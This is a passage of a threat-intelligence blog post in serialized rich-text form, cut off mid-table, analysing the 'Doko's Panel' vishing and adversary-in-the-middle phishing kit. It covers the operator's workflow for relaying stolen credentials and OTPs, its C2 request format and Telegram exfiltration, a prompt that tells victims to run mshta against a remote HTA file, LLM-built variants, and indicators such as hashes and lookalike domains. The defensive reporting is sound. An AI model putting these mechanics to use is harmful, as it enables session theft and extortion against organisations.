",{"data":26191,"content":26195,"nodeType":996},{"target":26192},{"sys":26193},{"id":26194,"type":1001,"linkType":1002},"2Z1LUdYXVONWO9nnJTkWsJ",[],{"data":26197,"content":26198,"nodeType":1005},{},[],{"data":26200,"content":26201,"nodeType":1009},{},[26202],{"data":26203,"marks":26204,"value":26206,"nodeType":864},{},[26205],{"type":899},"Background",{"data":26208,"content":26209,"nodeType":860},{},[26210],{"data":26211,"marks":26212,"value":26213,"nodeType":864},{},[],"Since at least August 2025, attackers have been running hybrid social engineering campaigns targeting hundreds of organizations across financial services, technology, cryptocurrency, healthcare, hospitality, and private aviation. ",{"data":26215,"content":26216,"nodeType":941},{},[26217,26232,26247,26262],{"data":26218,"content":26219,"nodeType":945},{},[26220],{"data":26221,"content":26222,"nodeType":860},{},[26223,26228],{"data":26224,"marks":26225,"value":26227,"nodeType":864},{},[26226],{"type":899},"August 2025: ",{"data":26229,"marks":26230,"value":26231,"nodeType":864},{},[],"Tooling made available, used in crypto-focused attacks",{"data":26233,"content":26234,"nodeType":945},{},[26235],{"data":26236,"content":26237,"nodeType":860},{},[26238,26243],{"data":26239,"marks":26240,"value":26242,"nodeType":864},{},[26241],{"type":899},"November 2025:",{"data":26244,"marks":26245,"value":26246,"nodeType":864},{},[]," Major attacks on enterprise identity platforms begin",{"data":26248,"content":26249,"nodeType":945},{},[26250],{"data":26251,"content":26252,"nodeType":860},{},[26253,26258],{"data":26254,"marks":26255,"value":26257,"nodeType":864},{},[26256],{"type":899},"January 2026: ",{"data":26259,"marks":26260,"value":26261,"nodeType":864},{},[],"Public breaches reported",{"data":26263,"content":26264,"nodeType":945},{},[26265],{"data":26266,"content":26267,"nodeType":860},{},[26268,26273],{"data":26269,"marks":26270,"value":26272,"nodeType":864},{},[26271],{"type":899},"March 2026: ",{"data":26274,"marks":26275,"value":26276,"nodeType":864},{},[],"Activity spikes again",{"data":26278,"content":26279,"nodeType":860},{},[26280],{"data":26281,"marks":26282,"value":26283,"nodeType":864},{},[],"The attacks combine voice phishing with MFA-bypassing adversary-in-the-middle (AiTM) phishing mechanisms that allow the attacker to steal authenticated sessions for target applications — typically enterprise identity providers and cryptocurrency exchanges. Once an identity provider account is compromised, the attackers pivot across connected SaaS platforms — SharePoint, Salesforce, DocuSign, Slack — exfiltrates data, and attempts to extort the victim organization. ",{"data":26285,"content":26289,"nodeType":996},{"target":26286},{"sys":26287},{"id":26288,"type":1001,"linkType":1002},"2X2YXMpozrbRQhegk7yF1k",[],{"data":26291,"content":26292,"nodeType":1005},{},[],{"data":26294,"content":26295,"nodeType":1009},{},[26296],{"data":26297,"marks":26298,"value":26300,"nodeType":864},{},[26299],{"type":899},"Inside the panels: what Push found",{"data":26302,"content":26303,"nodeType":860},{},[26304],{"data":26305,"marks":26306,"value":26307,"nodeType":864},{},[],"Push detected an active Okta phishing site with TTPs aligned to the tooling used by SLH and affiliated groups. Through analysis of the phishing infrastructure, we gained direct access to Doko’s Panel and variants, and were able to observe how these attacks unfold from the operator's perspective — including real victim submission logs from the current week confirming ongoing active operations.",{"data":26309,"content":26313,"nodeType":996},{"target":26310},{"sys":26311},{"id":26312,"type":1001,"linkType":1002},"5ND0etPs5xN7ejz24l71jy",[],{"data":26315,"content":26316,"nodeType":1312},{},[26317],{"data":26318,"marks":26319,"value":26321,"nodeType":864},{},[26320],{"type":899},"How the attack works",{"data":26323,"content":26324,"nodeType":860},{},[26325],{"data":26326,"marks":26327,"value":26328,"nodeType":864},{},[],"The general sequence of steps is the same across the panels:",{"data":26330,"content":26331,"nodeType":941},{},[26332,26347,26362,26386,26401,26416,26440],{"data":26333,"content":26334,"nodeType":945},{},[26335],{"data":26336,"content":26337,"nodeType":860},{},[26338,26343],{"data":26339,"marks":26340,"value":26342,"nodeType":864},{},[26341],{"type":899},"The operator calls the target",{"data":26344,"marks":26345,"value":26346,"nodeType":864},{},[]," spoofing the organization's IT helpdesk number, often referencing real employee names or internal ticket numbers to establish trust. The target is directed to a phishing domain — usually following a combosquatting pattern like my\u003Ctarget>internal[.]com or \u003Ctarget>sso[.]com — under the pretext of a mandatory security update, passkey enrollment, or support ticket resolution. ",{"data":26348,"content":26349,"nodeType":945},{},[26350],{"data":26351,"content":26352,"nodeType":860},{},[26353,26358],{"data":26354,"marks":26355,"value":26357,"nodeType":864},{},[26356],{"type":899},"The victim lands on the phishing domain",{"data":26359,"marks":26360,"value":26361,"nodeType":864},{},[]," and is presented with a loading spinner — the anti-bot gate that prevents unauthorized access to the phishing pages.",{"data":26363,"content":26364,"nodeType":945},{},[26365],{"data":26366,"content":26367,"nodeType":860},{},[26368,26373,26377,26382],{"data":26369,"marks":26370,"value":26372,"nodeType":864},{},[26371],{"type":899},"The operator accepts the visitor",{"data":26374,"marks":26375,"value":26376,"nodeType":864},{},[]," from the admin panel and ",{"data":26378,"marks":26379,"value":26381,"nodeType":864},{},[26380],{"type":899},"the victim is redirected",{"data":26383,"marks":26384,"value":26385,"nodeType":864},{},[]," to the cloned login page (e.g. Google, Microsoft, Okta).",{"data":26387,"content":26388,"nodeType":945},{},[26389],{"data":26390,"content":26391,"nodeType":860},{},[26392,26397],{"data":26393,"marks":26394,"value":26396,"nodeType":864},{},[26395],{"type":899},"The victim enters their email address and password",{"data":26398,"marks":26399,"value":26400,"nodeType":864},{},[],", which is forwarded to the operator's Telegram channel. The victim sees a processing spinner on the branded login form.",{"data":26402,"content":26403,"nodeType":945},{},[26404],{"data":26405,"content":26406,"nodeType":860},{},[26407,26412],{"data":26408,"marks":26409,"value":26411,"nodeType":864},{},[26410],{"type":899},"The operator relays the credentials",{"data":26413,"marks":26414,"value":26415,"nodeType":864},{},[]," to the real identity provider. If they're valid, the attack proceeds. If they're invalid, the operator can redirect the victim back to the credential entry pages. Assuming MFA is required, the operator issues a redirect to an appropriate MFA capture page — \"Submit SMS OTP,\" \"Submit Gauth OTP,\" or \"Approve [XX] Prompt,\" depending on what the legitimate IdP is presenting.",{"data":26417,"content":26418,"nodeType":945},{},[26419],{"data":26420,"content":26421,"nodeType":860},{},[26422,26427,26431,26436],{"data":26423,"marks":26424,"value":26426,"nodeType":864},{},[26425],{"type":899},"The victim submits their OTP or approves the push notification ",{"data":26428,"marks":26429,"value":26430,"nodeType":864},{},[],"and",{"data":26432,"marks":26433,"value":26435,"nodeType":864},{},[26434],{"type":899}," the operator relays the OTP",{"data":26437,"marks":26438,"value":26439,"nodeType":864},{},[]," in their own login session, completes authentication, and captures the session. ",{"data":26441,"content":26442,"nodeType":945},{},[26443],{"data":26444,"content":26445,"nodeType":860},{},[26446,26451],{"data":26447,"marks":26448,"value":26450,"nodeType":864},{},[26449],{"type":899},"The victim is redirected to a benign page",{"data":26452,"marks":26453,"value":26454,"nodeType":864},{},[]," (e.g., Google Drive) or to a support ticket closure screen displaying a fabricated ticket number.",{"data":26456,"content":26460,"nodeType":996},{"target":26457},{"sys":26458},{"id":26459,"type":1001,"linkType":1002},"1o0wm3EOd7zSl5MddsNxgL",[],{"data":26462,"content":26466,"nodeType":996},{"target":26463},{"sys":26464},{"id":26465,"type":1001,"linkType":1002},"7w7SQEn3aITpcgXLMThhbS",[],{"data":26468,"content":26469,"nodeType":860},{},[26470],{"data":26471,"marks":26472,"value":21,"nodeType":864},{},[],{"data":26474,"content":26478,"nodeType":996},{"target":26475},{"sys":26476},{"id":26477,"type":1001,"linkType":1002},"PJJabY1ZfoCfl8XQ6PMj2",[],{"data":26480,"content":26481,"nodeType":1312},{},[26482],{"data":26483,"marks":26484,"value":26486,"nodeType":864},{},[26485],{"type":899},"Doko’s Panel",{"data":26488,"content":26489,"nodeType":860},{},[26490],{"data":26491,"marks":26492,"value":26493,"nodeType":864},{},[],"Let’s take a closer look at the panels themselves. We'll start with the default version of Doko's Panel since it’s the most established. It provides a multi-functional framework targeting users of Google, Microsoft Entra, Okta, and popular cryptocurrency exchanges including Abra, Coinbase, Gemini, and Kraken. Its core functionality resides in a client-side JavaScript file (client.js) that establishes the real-time feedback loop between the victim's browser and the operator's C2.",{"data":26495,"content":26496,"nodeType":860},{},[26497],{"data":26498,"marks":26499,"value":26500,"nodeType":864},{},[],"The technical indicators that characterize Doko's Panel in its standard form include:",{"data":26502,"content":26503,"nodeType":941},{},[26504,26519,26534,26549],{"data":26505,"content":26506,"nodeType":945},{},[26507],{"data":26508,"content":26509,"nodeType":860},{},[26510,26515],{"data":26511,"marks":26512,"value":26514,"nodeType":864},{},[26513],{"type":899},"client.js",{"data":26516,"marks":26517,"value":26518,"nodeType":864},{},[]," containing a pingServer() function that sends a JSON POST request to /backend.php every second with the structure { action: 'ping', token, window_id, page, os, browser }. If the response contains a redirect key, the victim's browser navigates to that path. ",{"data":26520,"content":26521,"nodeType":945},{},[26522],{"data":26523,"content":26524,"nodeType":860},{},[26525,26530],{"data":26526,"marks":26527,"value":26529,"nodeType":864},{},[26528],{"type":899},"sendTelegramMessage()",{"data":26531,"marks":26532,"value":26533,"nodeType":864},{},[]," (aliased to sendtg()), a function for relaying real-time credential submissions and session updates to the operator's Telegram channel.",{"data":26535,"content":26536,"nodeType":945},{},[26537],{"data":26538,"content":26539,"nodeType":860},{},[26540,26545],{"data":26541,"marks":26542,"value":26544,"nodeType":864},{},[26543],{"type":899},"backend.php",{"data":26546,"marks":26547,"value":26548,"nodeType":864},{},[]," as the primary server-side handler for both victim ping actions and admin panel operations (retrieving connected victim information, sending redirect instructions).",{"data":26550,"content":26551,"nodeType":945},{},[26552],{"data":26553,"content":26554,"nodeType":860},{},[26555,26560],{"data":26556,"marks":26557,"value":26559,"nodeType":864},{},[26558],{"type":899},"j.php",{"data":26561,"marks":26562,"value":26563,"nodeType":864},{},[]," as the endpoint for sending Telegram messages, relaying captured credentials and session logs.",{"data":26565,"content":26566,"nodeType":860},{},[26567],{"data":26568,"marks":26569,"value":26570,"nodeType":864},{},[],"Push found that deployments of Doko's Panel had minimal security by default — anyone was able to view the admin panel and manage visitors' connections without authentication.",{"data":26572,"content":26576,"nodeType":996},{"target":26573},{"sys":26574},{"id":26575,"type":1001,"linkType":1002},"3glwGSGHdCpf3DLqNmQqN8",[],{"data":26578,"content":26582,"nodeType":996},{"target":26579},{"sys":26580},{"id":26581,"type":1001,"linkType":1002},"20ymWIXMkmJlw7XYb93c9o",[],{"data":26584,"content":26585,"nodeType":1312},{},[26586],{"data":26587,"marks":26588,"value":26590,"nodeType":864},{},[26589],{"type":899},"Panel proliferation and remixes",{"data":26592,"content":26593,"nodeType":860},{},[26594],{"data":26595,"marks":26596,"value":26597,"nodeType":864},{},[],"Access to Doko's Panel has clearly proliferated beyond its original developers, resulting in remixes and variants being distributed across the ecosystem. Push identified a variant titled \"Lord Mensius's Panel\" targeting Koinly (a cryptocurrency tax platform), and another titled \"$$$\" using a template impersonating the Australian Tax Office, also targeting cryptocurrency tax filing. ",{"data":26599,"content":26600,"nodeType":860},{},[26601],{"data":26602,"marks":26603,"value":26604,"nodeType":864},{},[],"The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now accessible to a broad population of financially motivated threat actors. ",{"data":26606,"content":26607,"nodeType":1312},{},[26608],{"data":26609,"marks":26610,"value":26612,"nodeType":864},{},[26611],{"type":899},"heartbeat/check_redirect variant",{"data":26614,"content":26615,"nodeType":860},{},[26616],{"data":26617,"marks":26618,"value":26619,"nodeType":864},{},[],"In addition to Doko’s Panel and its forks, the site initially detected by Push used a modified variant of Doko's Panel with a different C2 protocol. Rather than the standard ping action, this variant sent two types of regular requests from client.js to the backend:",{"data":26621,"content":26622,"nodeType":941},{},[26623,26638],{"data":26624,"content":26625,"nodeType":945},{},[26626],{"data":26627,"content":26628,"nodeType":860},{},[26629,26634],{"data":26630,"marks":26631,"value":26633,"nodeType":864},{},[26632],{"type":899},"Heartbeat",{"data":26635,"marks":26636,"value":26637,"nodeType":864},{},[]," — POST to backend.php with action=heartbeat along with page, token, and window_id.",{"data":26639,"content":26640,"nodeType":945},{},[26641],{"data":26642,"content":26643,"nodeType":860},{},[26644,26649],{"data":26645,"marks":26646,"value":26648,"nodeType":864},{},[26647],{"type":899},"Check Redirect",{"data":26650,"marks":26651,"value":26652,"nodeType":864},{},[]," — GET to backend.php with parameters action=check_redirect along with token and window_id.",{"data":26654,"content":26655,"nodeType":860},{},[26656],{"data":26657,"marks":26658,"value":26659,"nodeType":864},{},[],"A redirect instruction in response to either request causes the victim's browser to navigate to the specified page. The variant compounds this with a separate inline script embedded in the landing gate HTML — in addition to client.js — that schedules its own sendHeartbeat() and checkRedirect() functions on regular intervals. ",{"data":26661,"content":26665,"nodeType":996},{"target":26662},{"sys":26663},{"id":26664,"type":1001,"linkType":1002},"6zRc9ublZvEQCxcWtMBSnF",[],{"data":26667,"content":26668,"nodeType":860},{},[26669],{"data":26670,"marks":26671,"value":26672,"nodeType":864},{},[],"Additional technical differentiators for this variant include:",{"data":26674,"content":26675,"nodeType":941},{},[26676,26691,26706],{"data":26677,"content":26678,"nodeType":945},{},[26679],{"data":26680,"content":26681,"nodeType":860},{},[26682,26687],{"data":26683,"marks":26684,"value":26686,"nodeType":864},{},[26685],{"type":899},"UUID generation",{"data":26688,"marks":26689,"value":26690,"nodeType":864},{},[]," using Math.random() to replace x in the template xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx, rather than the original Doko's Panel method of constructing a template from [1e7]+-1e3+-4e3+-8e3+-1e11 and replacing [018].",{"data":26692,"content":26693,"nodeType":945},{},[26694],{"data":26695,"content":26696,"nodeType":860},{},[26697,26702],{"data":26698,"marks":26699,"value":26701,"nodeType":864},{},[26700],{"type":899},"No central Telegram sending function",{"data":26703,"marks":26704,"value":26705,"nodeType":864},{},[],", though j.php still exists and is called from inline scripts on individual phishing pages.",{"data":26707,"content":26708,"nodeType":945},{},[26709],{"data":26710,"content":26711,"nodeType":860},{},[26712,26717],{"data":26713,"marks":26714,"value":26716,"nodeType":864},{},[26715],{"type":899},"No use of FNV-1a",{"data":26718,"marks":26719,"value":26720,"nodeType":864},{},[]," to hash-generate the window ID.",{"data":26722,"content":26723,"nodeType":860},{},[26724],{"data":26725,"marks":26726,"value":26727,"nodeType":864},{},[],"Push also found sub-variants hosting Okta phishing pages with additional modifications: a minified client.js script, and a renamed backend endpoint (api_FyekIDWY.php replacing backend.php).",{"data":26729,"content":26730,"nodeType":1312},{},[26731],{"data":26732,"marks":26733,"value":26735,"nodeType":864},{},[26734],{"type":899},"Revamped admin panel",{"data":26737,"content":26738,"nodeType":860},{},[26739],{"data":26740,"marks":26741,"value":26742,"nodeType":864},{},[],"Push also found examples of a significantly revamped admin panel, including a version from April 2026 specifically targeting Microsoft as an enterprise identity provider. ",{"data":26744,"content":26748,"nodeType":996},{"target":26745},{"sys":26746},{"id":26747,"type":1001,"linkType":1002},"3ufb4cotpg0f7yoIQJnND0",[],{"data":26750,"content":26751,"nodeType":860},{},[26752],{"data":26753,"marks":26754,"value":26755,"nodeType":864},{},[],"This panel featured a more sophisticated operator interface with an updated look, quick action buttons, and sound notifications.",{"data":26757,"content":26758,"nodeType":860},{},[26759],{"data":26760,"marks":26761,"value":26762,"nodeType":864},{},[],"In addition to the standard compromise flow for acquiring email, password, and OTP, this panel provided operator actions for sending Microsoft Teams call instructions to the victim — a Meeting ID and Passcode rendered on a branded page. This capability likely enables further interaction through a channel that supports screensharing, extending the attacker's reach beyond credential theft into live session manipulation. It also has the potential to make the scenario more believable for the victim.",{"data":26764,"content":26768,"nodeType":996},{"target":26765},{"sys":26766},{"id":26767,"type":1001,"linkType":1002},"4pg65d1SvTJA3xm6AsxZBp",[],{"data":26770,"content":26771,"nodeType":860},{},[26772],{"data":26773,"marks":26774,"value":26775,"nodeType":864},{},[],"Other capabilities were referenced in the panel's source code but did not appear active in the observed deployment:",{"data":26777,"content":26778,"nodeType":941},{},[26779,26794],{"data":26780,"content":26781,"nodeType":945},{},[26782],{"data":26783,"content":26784,"nodeType":860},{},[26785,26790],{"data":26786,"marks":26787,"value":26789,"nodeType":864},{},[26788],{"type":899},"Additional MFA approval pages",{"data":26791,"marks":26792,"value":26793,"nodeType":864},{},[]," for Duo and Okta, with the operator providing a code to display to the victim.",{"data":26795,"content":26796,"nodeType":945},{},[26797],{"data":26798,"content":26799,"nodeType":860},{},[26800,26805],{"data":26801,"marks":26802,"value":26804,"nodeType":864},{},[26803],{"type":899},"A code execution prompt",{"data":26806,"marks":26807,"value":26808,"nodeType":864},{},[]," to instruct the victim to run a command — the placeholder example being mshta to execute a remote HTA file, suggesting a potential bridge from identity compromise into malware delivery.",{"data":26810,"content":26811,"nodeType":860},{},[26812],{"data":26813,"marks":26814,"value":26815,"nodeType":864},{},[],"The admin panel also included settings for restricting access to specific geographic locations and device types, allowing operators to refine their campaign targeting and also avoid detection from unusual devices (often an indicator that the visitor is not a real human and is actually a security tool or bot).",{"data":26817,"content":26821,"nodeType":996},{"target":26818},{"sys":26819},{"id":26820,"type":1001,"linkType":1002},"1hebGtxbkyuejWXczwx5n6",[],{"data":26823,"content":26824,"nodeType":1005},{},[],{"data":26826,"content":26827,"nodeType":1009},{},[26828],{"data":26829,"marks":26830,"value":26832,"nodeType":864},{},[26831],{"type":899},"LLM-generated tells: vibe-coded phishing infrastructure",{"data":26834,"content":26835,"nodeType":860},{},[26836],{"data":26837,"marks":26838,"value":26839,"nodeType":864},{},[],"Evidence of extensive LLM use is extremely prevalent in attacks detected by Push, from LLM-generated phishing kits and tools to vibe-coded cloned pages. Attackers have also been observed leveraging AI–assisted capabilities in SaaS platforms to automate and scale-up their campaigns from an infrastructure and operations perspective. ",{"data":26841,"content":26842,"nodeType":860},{},[26843],{"data":26844,"marks":26845,"value":26846,"nodeType":864},{},[],"The ‘heartbeat’ variant in particular has significant tells of heavy use of LLMs to modify the phishing panel for the operator’s needs. The fact that these are so blatant increases the belief that these tools are being vibe-coded by relatively inexperienced developers with limited regard for operational security.",{"data":26848,"content":26849,"nodeType":860},{},[26850],{"data":26851,"marks":26852,"value":26853,"nodeType":864},{},[],"Some versions of client.js begin with verbose header comments that no human developer would write:",{"data":26855,"content":26858,"nodeType":996},{"target":26856},{"sys":26857},{"id":7797,"type":1001,"linkType":1002},[],{"data":26860,"content":26861,"nodeType":860},{},[26862],{"data":26863,"marks":26864,"value":26865,"nodeType":864},{},[],"The \"NOTES FOR NEXT SESSION\" header is particularly telling — it's a pattern generated by LLMs that maintain context between chat sessions, not a convention any human developer would adopt in production code, let alone in a phishing kit where operational security should discourage self-documenting infrastructure.",{"data":26867,"content":26868,"nodeType":860},{},[26869],{"data":26870,"marks":26871,"value":26872,"nodeType":864},{},[],"The admin panel HTML contains similarly over-documented opening comments:",{"data":26874,"content":26878,"nodeType":996},{"target":26875},{"sys":26876},{"id":26877,"type":1001,"linkType":1002},"60snRhz0RIsvLI6OU9RDOk",[],{"data":26880,"content":26881,"nodeType":860},{},[26882],{"data":26883,"marks":26884,"value":26885,"nodeType":864},{},[],"One of the Okta cloned login pages observed by Push contained the following comments suggesting the use of an LLM to create the clone:",{"data":26887,"content":26891,"nodeType":996},{"target":26888},{"sys":26889},{"id":26890,"type":1001,"linkType":1002},"1WCd5LQ6cfPf1IsNAhPSIT",[],{"data":26893,"content":26894,"nodeType":860},{},[26895],{"data":26896,"marks":26897,"value":26898,"nodeType":864},{},[],"The cloned Microsoft login pages displayed previously contain terser comments, but still typical of useless comments that are included by an LLM rather than a human author, especially a malware/phishing author:",{"data":26900,"content":26904,"nodeType":996},{"target":26901},{"sys":26902},{"id":26903,"type":1001,"linkType":1002},"6WN59mkiscNmAt8dmOR81c",[],{"data":26906,"content":26907,"nodeType":860},{},[26908],{"data":26909,"marks":26910,"value":26911,"nodeType":864},{},[],"The broken duplication in the heartbeat variant — where an inline script and client.js independently schedule the same backend requests using slightly different data formats — is consistent with an operator pasting requirements into an LLM and accepting the output without understanding the existing codebase well enough to recognize the redundancy.",{"data":26913,"content":26914,"nodeType":860},{},[26915],{"data":26916,"marks":26917,"value":26918,"nodeType":864},{},[],"Clearly, the barrier to entry for building (or forking) and operating a real-time vishing phishing panel is lower than the effectiveness of the tooling might suggest.",{"data":26920,"content":26921,"nodeType":1005},{},[],{"data":26923,"content":26924,"nodeType":1009},{},[26925],{"data":26926,"marks":26927,"value":26929,"nodeType":864},{},[26928],{"type":899},"Infrastructure clustering and attribution",{"data":26931,"content":26932,"nodeType":860},{},[26933,26937,26942],{"data":26934,"marks":26935,"value":26936,"nodeType":864},{},[],"Through analysis of phishing domains, hosting infrastructure, and technical indicators in the panel source code, ",{"data":26938,"marks":26939,"value":26941,"nodeType":864},{},[26940],{"type":899},"we’re highlighting four distinct infrastructure clusters associated with this tooling. ",{"data":26943,"marks":26944,"value":26945,"nodeType":864},{},[],"While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.",{"data":26947,"content":26948,"nodeType":1312},{},[26949],{"data":26950,"marks":26951,"value":26952,"nodeType":864},{},[],"Cluster A",{"data":26954,"content":26955,"nodeType":860},{},[26956,26960,26969],{"data":26957,"marks":26958,"value":26959,"nodeType":864},{},[],"The indicators for Cluster A overlap with ",{"data":26961,"content":26963,"nodeType":883},{"uri":26962},"https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft",[26964],{"data":26965,"marks":26966,"value":26968,"nodeType":864},{},[26967],{"type":1455},"Mandiant’s reporting on UNC6661",{"data":26970,"marks":26971,"value":26972,"nodeType":864},{},[],". Mandiant also attributes the extortion activity following UNC6661 intrusions to UNC6240, aka ShinyHunters.",{"data":26974,"content":26975,"nodeType":4845},{},[26976,27000,27029,27052,27103,27147,27170,27193],{"data":26977,"content":26978,"nodeType":4581},{},[26979,26990],{"data":26980,"content":26981,"nodeType":4569},{},[26982],{"data":26983,"content":26984,"nodeType":860},{},[26985],{"data":26986,"marks":26987,"value":26989,"nodeType":864},{},[26988],{"type":899},"Tool",{"data":26991,"content":26992,"nodeType":4569},{},[26993],{"data":26994,"content":26995,"nodeType":860},{},[26996],{"data":26997,"marks":26998,"value":26486,"nodeType":864},{},[26999],{"type":899},{"data":27001,"content":27002,"nodeType":4581},{},[27003,27012],{"data":27004,"content":27005,"nodeType":4569},{},[27006],{"data":27007,"content":27008,"nodeType":860},{},[27009],{"data":27010,"marks":27011,"value":26514,"nodeType":864},{},[],{"data":27013,"content":27014,"nodeType":4569},{},[27015,27022],{"data":27016,"content":27017,"nodeType":860},{},[27018],{"data":27019,"marks":27020,"value":27021,"nodeType":864},{},[],"8a01bcb70ec1c101a163c9cb8e074781c1322096f7ae01789f02252854def44c",{"data":27023,"content":27024,"nodeType":860},{},[27025],{"data":27026,"marks":27027,"value":27028,"nodeType":864},{},[],"f574b6e6b3a968cda5f51bec2c090d8eb095fbcfc383314f94bc15676a0d6692",{"data":27030,"content":27031,"nodeType":4581},{},[27032,27042],{"data":27033,"content":27034,"nodeType":4569},{},[27035],{"data":27036,"content":27037,"nodeType":860},{},[27038],{"data":27039,"marks":27040,"value":27041,"nodeType":864},{},[],"Timeframe",{"data":27043,"content":27044,"nodeType":4569},{},[27045],{"data":27046,"content":27047,"nodeType":860},{},[27048],{"data":27049,"marks":27050,"value":27051,"nodeType":864},{},[],"November 2025 - present (April 2026)",{"data":27053,"content":27054,"nodeType":4581},{},[27055,27065],{"data":27056,"content":27057,"nodeType":4569},{},[27058],{"data":27059,"content":27060,"nodeType":860},{},[27061],{"data":27062,"marks":27063,"value":27064,"nodeType":864},{},[],"Domain Patterns",{"data":27066,"content":27067,"nodeType":4569},{},[27068,27075,27082,27089,27096],{"data":27069,"content":27070,"nodeType":860},{},[27071],{"data":27072,"marks":27073,"value":27074,"nodeType":864},{},[],"\u003Ctarget>internal.com\n\u003Ctarget>sso.com",{"data":27076,"content":27077,"nodeType":860},{},[27078],{"data":27079,"marks":27080,"value":27081,"nodeType":864},{},[],"my\u003Ctarget>.com",{"data":27083,"content":27084,"nodeType":860},{},[27085],{"data":27086,"marks":27087,"value":27088,"nodeType":864},{},[],"my\u003Ctarget>internal.com",{"data":27090,"content":27091,"nodeType":860},{},[27092],{"data":27093,"marks":27094,"value":27095,"nodeType":864},{},[],"my\u003Ctarget>manager.com",{"data":27097,"content":27098,"nodeType":860},{},[27099],{"data":27100,"marks":27101,"value":27102,"nodeType":864},{},[],"my\u003Ctarget>sso.com",{"data":27104,"content":27105,"nodeType":4581},{},[27106,27116],{"data":27107,"content":27108,"nodeType":4569},{},[27109],{"data":27110,"content":27111,"nodeType":860},{},[27112],{"data":27113,"marks":27114,"value":27115,"nodeType":864},{},[],"Examples",{"data":27117,"content":27118,"nodeType":4569},{},[27119,27126,27133,27140],{"data":27120,"content":27121,"nodeType":860},{},[27122],{"data":27123,"marks":27124,"value":27125,"nodeType":864},{},[],"mydropboxinternal.com (November 2025)",{"data":27127,"content":27128,"nodeType":860},{},[27129],{"data":27130,"marks":27131,"value":27132,"nodeType":864},{},[],"myxerointernal.com (December 2025)",{"data":27134,"content":27135,"nodeType":860},{},[27136],{"data":27137,"marks":27138,"value":27139,"nodeType":864},{},[],"amazoninternal.com (March 2026)",{"data":27141,"content":27142,"nodeType":860},{},[27143],{"data":27144,"marks":27145,"value":27146,"nodeType":864},{},[],"mydisneysso.com (March 2026)",{"data":27148,"content":27149,"nodeType":4581},{},[27150,27160],{"data":27151,"content":27152,"nodeType":4569},{},[27153],{"data":27154,"content":27155,"nodeType":860},{},[27156],{"data":27157,"marks":27158,"value":27159,"nodeType":864},{},[],"Registrar",{"data":27161,"content":27162,"nodeType":4569},{},[27163],{"data":27164,"content":27165,"nodeType":860},{},[27166],{"data":27167,"marks":27168,"value":27169,"nodeType":864},{},[],"NiceNIC",{"data":27171,"content":27172,"nodeType":4581},{},[27173,27183],{"data":27174,"content":27175,"nodeType":4569},{},[27176],{"data":27177,"content":27178,"nodeType":860},{},[27179],{"data":27180,"marks":27181,"value":27182,"nodeType":864},{},[],"Name Servers",{"data":27184,"content":27185,"nodeType":4569},{},[27186],{"data":27187,"content":27188,"nodeType":860},{},[27189],{"data":27190,"marks":27191,"value":27192,"nodeType":864},{},[],"1984.is FreeDNS",{"data":27194,"content":27195,"nodeType":4581},{},[27196,27206],{"data":27197,"content":27198,"nodeType":4569},{},[27199],{"data":27200,"content":27201,"nodeType":860},{},[27202],{"data":27203,"marks":27204,"value":27205,"nodeType":864},{},[],"Hosting Provider",{"data":27207,"content":27208,"nodeType":4569},{},[27209],{"data":27210,"content":27211,"nodeType":860},{},[27212],{"data":27213,"marks":27214,"value":27215,"nodeType":864},{},[],"Mevspace (AS201814)",{"data":27217,"content":27218,"nodeType":1312},{},[27219],{"data":27220,"marks":27221,"value":27222,"nodeType":864},{},[],"Cluster B",{"data":27224,"content":27225,"nodeType":860},{},[27226,27230,27238,27241,27250],{"data":27227,"marks":27228,"value":27229,"nodeType":864},{},[],"The indicators for Cluster B overlap with ",{"data":27231,"content":27232,"nodeType":883},{"uri":26962},[27233],{"data":27234,"marks":27235,"value":27237,"nodeType":864},{},[27236],{"type":1455},"Mandiant’s reporting on UNC6671",{"data":27239,"marks":27240,"value":1774,"nodeType":864},{},[],{"data":27242,"content":27244,"nodeType":883},{"uri":27243},"https://rhisac.org/threat-intelligence/extortion-in-the-enterprise-defending-against-blackfile-attacks/",[27245],{"data":27246,"marks":27247,"value":27249,"nodeType":864},{},[27248],{"type":1455},"Other external reporting",{"data":27251,"marks":27252,"value":27253,"nodeType":864},{},[]," has linked this group to BlackFile-branded extortion and leaks.",{"data":27255,"content":27256,"nodeType":4845},{},[27257,27280,27323,27345,27380,27423,27445,27467],{"data":27258,"content":27259,"nodeType":4581},{},[27260,27270],{"data":27261,"content":27262,"nodeType":4569},{},[27263],{"data":27264,"content":27265,"nodeType":860},{},[27266],{"data":27267,"marks":27268,"value":26989,"nodeType":864},{},[27269],{"type":899},{"data":27271,"content":27272,"nodeType":4569},{},[27273],{"data":27274,"content":27275,"nodeType":860},{},[27276],{"data":27277,"marks":27278,"value":26612,"nodeType":864},{},[27279],{"type":899},{"data":27281,"content":27282,"nodeType":4581},{},[27283,27292],{"data":27284,"content":27285,"nodeType":4569},{},[27286],{"data":27287,"content":27288,"nodeType":860},{},[27289],{"data":27290,"marks":27291,"value":26514,"nodeType":864},{},[],{"data":27293,"content":27294,"nodeType":4569},{},[27295,27302,27309,27316],{"data":27296,"content":27297,"nodeType":860},{},[27298],{"data":27299,"marks":27300,"value":27301,"nodeType":864},{},[],"c0df36ccf88d5c8434b13b58f7a55a9715643a126148b9d078a93075d09cad26",{"data":27303,"content":27304,"nodeType":860},{},[27305],{"data":27306,"marks":27307,"value":27308,"nodeType":864},{},[],"d178dc7108fa9344dae28e350e810352e9e874563496dc7876ee628b11b0eabb",{"data":27310,"content":27311,"nodeType":860},{},[27312],{"data":27313,"marks":27314,"value":27315,"nodeType":864},{},[],"9c0939960e49122196e44b6779fe55dd7a13ab437ce251c8cf35f8c6daf8be21",{"data":27317,"content":27318,"nodeType":860},{},[27319],{"data":27320,"marks":27321,"value":27322,"nodeType":864},{},[],"e8128b33259f7ea4313c942689ba0ba557f17b1474f2e621c62a5b77674fab86",{"data":27324,"content":27325,"nodeType":4581},{},[27326,27335],{"data":27327,"content":27328,"nodeType":4569},{},[27329],{"data":27330,"content":27331,"nodeType":860},{},[27332],{"data":27333,"marks":27334,"value":27041,"nodeType":864},{},[],{"data":27336,"content":27337,"nodeType":4569},{},[27338],{"data":27339,"content":27340,"nodeType":860},{},[27341],{"data":27342,"marks":27343,"value":27344,"nodeType":864},{},[],"January 